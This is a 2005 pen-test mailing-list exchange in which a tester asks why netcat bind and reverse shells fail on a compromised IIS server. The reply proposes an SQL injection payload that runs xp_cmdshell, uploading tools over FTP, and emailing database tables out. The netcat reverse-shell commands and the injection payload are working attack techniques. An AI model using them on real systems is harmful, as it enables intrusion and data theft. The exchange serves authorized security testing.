Re: Netcat Question

[Jordan.DelGrande () ey com]

Hi Intel96,

It seems that you are being blocked both ways (inbound, outbound) by the
DMZ firewall, although it seems really weird that the second command does
not work - maybe checking for ssl packet only? They might have a proxy
based firewall? Are you on a public IP with no firewall? As a last resort
you can have the server listen on port 80, but this will DOS their web
server for the period of time you have a shell active. Might want to do
this really late at night if the client allows?  personally wouldn't do
this until all avenues have been tried.

Instead, as you can perform SQL injection, do you not have access to
perform xp_cmdshell as follows?

z' exec master..xp_cmdshell ?dir c:?--

This way you can upload your tools via FTP and execute via the SQL server
;-)

You might also want to try and email the results of each table to yourself
(as long as you have the privileges).

Hope this helps,

Jordan



intel96 <intel96 () bellsouth net>
05/31/2005 06:39 PM

To
pen-test () securityfocus com
cc

Subject
Netcat Question






To All,

I am conducting a pentest and I have been able to upload netcat to the
web server (IIS 6.0 - with ports 80/443 open) via ftp. I have tried to
establish a shell both ways, but cannot get it to work:

On the web server I first tried: nc.exe ?l ?p 8000 ?e cmd.exe

When I tried to connect to port 8000 on the web server I received a
timeout on my side. I have also tried this with port 53 and it also did
not work.

I than tried: nc.exe ?nv my_public_ip_address 443 -d ?e cmd.exe

This did not work either. I did not see the remote system trying to
connect to my system via my logs. I have access to upload anything to
the system and run most commands via sql injections. I have
administrator level access on the system at this time.

Any ideas on how I can get this shell to work? Or there any other
commands that may provide me more access or allow me to dump the database?

Thanks,

Intel96





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